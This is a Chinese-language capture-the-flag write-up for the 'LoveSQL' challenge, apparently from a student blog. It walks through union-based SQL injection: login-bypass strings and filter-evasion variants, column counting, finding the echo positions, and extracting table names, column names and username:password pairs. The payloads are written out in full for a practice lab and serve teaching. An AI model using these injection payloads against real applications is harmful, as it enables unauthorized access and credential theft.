**摘要:**本题主要考查对联合查询注入的实战使用方法。
目录
一、题目详情
题目来源: CTF²中的"极客大挑战 2019LoveSQL"

靶机环境: 启动靶机,进入靶机链接
二、解题思路及原理
1、登录绕过
看到登录框或查询框,先用万能密码测试看看。
a、基础万能密码
用户名 :
1' or 1=1#(或admin' or 1=1#)密码 :任意数字(如
123)原理:我们写的sql语句是直接插入到【where username='万能密码'】,由于有引号闭合所以要写插入语句的时候要注意引号。php会自动补全其他sql语句然后放到数据库里执行,故我们只需要写相应主要是sql语句来实现我们的目的。
SELECT * FROM users WHERE username = '1' OR 1=1#' AND password = '123'
1=1恒真,#注释掉后面所有东西。因为'1'='1'永远为真,所以WHERE条件对整个表都成立,查询会返回users表里的所有行。b、碰到过滤情况
闭合引号并注释: 用户名:admin'-- 密码:任意 原理:-- 也是 SQL 注释符(注意 MySQL 中 -- 后面必须跟一个空格)。适用于 # 被过滤的情况。 过滤了空格: 用 /**/ 代替空格:1'/**/or/**/1=1# 用 + 代替空格(URL 编码中):1'+or+1=1# 用括号绕过:1'||1=1# (针对特定数据库) 括号闭合绕过(针对 WHERE (username='xxx') 结构): 用户名:1') or ('1'='1 密码:任意 原理:WHERE (username='1') or ('1'='1') AND password='123'
输入万能密码:

结果如下:

2、判断注入类型
**适用情况:**不知道是数字型还是字符型,不知道有没有回显。
数字型:你输入的东西直接就是 SQL 的一部分,不用管引号。
字符型 :你必须先补一个引号把前面的引号闭合掉,才能继续注入。否则你的 payload 会被当成字符串内容,不生效。
(1)判断字符型还是数字型
输入
1',页面正常--> 字符型注入(存在单引号闭合问题)。输入
1,页面正常--> 数字型注入(不需要单引号闭合)。**PS:**看上面两个图片,输入的万能密码带有引号看到页面正常,可以判断是字符型注入。
(2)判断回显位置
通过上面得到的那个好像flag的数据,但是测试了发现不对,但可以判断是可以sql注入的而且输出的东西可以知道它会显示数据库查询结果(回显:你发出去的请求,服务器处理完之后,把结果"显示"回给你了。)
回显 = 你注入产生的结果,能不能在网页上直接看到。
有回显 → 用 UNION / 报错注入,直接拿数据。
无回显 → 只能盲注,靠页面反应一点点猜。
由于界面没有报错而是返回正确数据库查询结果,因此采用UNION注入。但我们还得先确定回显位置。
回显位置 = 页面上能显示注入结果的那个"坑"。
先数清有几列,再用 1,2,3 试出哪个坑能显示,最后把要查的数据塞进那个坑。
判断方式:
(a)判断有多少列
输入
1' order by 3#,页面正常;输入1' order by 4#,页面报错 -> 说明当前表有 3 列注:猜测当前查询结果集有多少列 ,当数字超过实际列数时,数据库会报错(如
Unknown column 'N' in 'order by'),从而推断出列数。**原理:**假设原始 SQL 是:
SELECT id, username, password FROM users WHERE id = '1' ORDER BY id DESC把参数改成
1' order by 3 #,语句变成:
SELECT id, username, password FROM users WHERE id = '1' order by 3 # DESC
#把后面的DESC注释掉,order by 3正常执行。如果order by 4报错,就说明表里有 3 列。(b)判断回显位在哪
输入
1' union select 1,2,3#,观察页面上哪个数字被替换成了回显位(比如页面原本显示标题的地方变成了2,这里的2不是数字本身有意义,而是"第 2 列是回显位"的标志。你写进第 2 列的什么内容,页面就会显示什么。),后面把敏感函数/字段塞到第 2 列就能读到数据。传入
1' union select 1,2,3#:
SELECT id, username, password FROM users WHERE id = '1' union select 1,2,3#
'1'闭合了原字符串
union select 1,2,3追加了一个联合查询,返回一行(1, 2, 3)
#注释掉尾部
测试如下:
(a)判断有多少列
输入 1' order by 3#
页面正常
输入 1' order by 4#
页面报错
故判断为返回的是3列
(b)判断回显位在哪


由此可知回显位是第2位和第3位
3、有回显的联合查询注入(Union-Based)
根据上面的判断,接下来我们就只需要让第2位和第3位上去使用函数或字段去获取数据了。
(1)获取当前数据库名和用户名
' union select 1,database(),user()#
测试如下:


获取到数据库名为geek,用户名为root@localhost
(2)获取所有表名
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
注:group_concat可以把多行结果拼成一行,方便显示,如果不使用的话,那么只会出现第一张表。(如果有多张表的话,后面的表不显示出来)
说明如下:
片段 作用 '闭合前面的字符串 union select 1, ..., 3追加一行结果,占满 3 列 group_concat(table_name)把多行表名拼成一个字符串 from information_schema.tables查系统表(存所有表名的地方) where table_schema = database()只查当前数据库的表 #注释掉尾部
测试如下:


获得表名l0ve1ysq1
(3)获取指定表的所有列名
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#
这里就不需要再做解释了,上面已经解释过了。
测试如下:


由此可以字段为3个为"id,username,password"
(4)提取账号密码
' union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#
注:
0x3a是十六进制的冒号,用于分隔用户名和密码(如:admin:123),不然账号和密码就在一起显示了(如:admin123)。为什么不用':',因为引号经常被过滤。如果不会过滤可以用":"
测试结果如下:



好了,可以明确看到flag了,终于拿到了!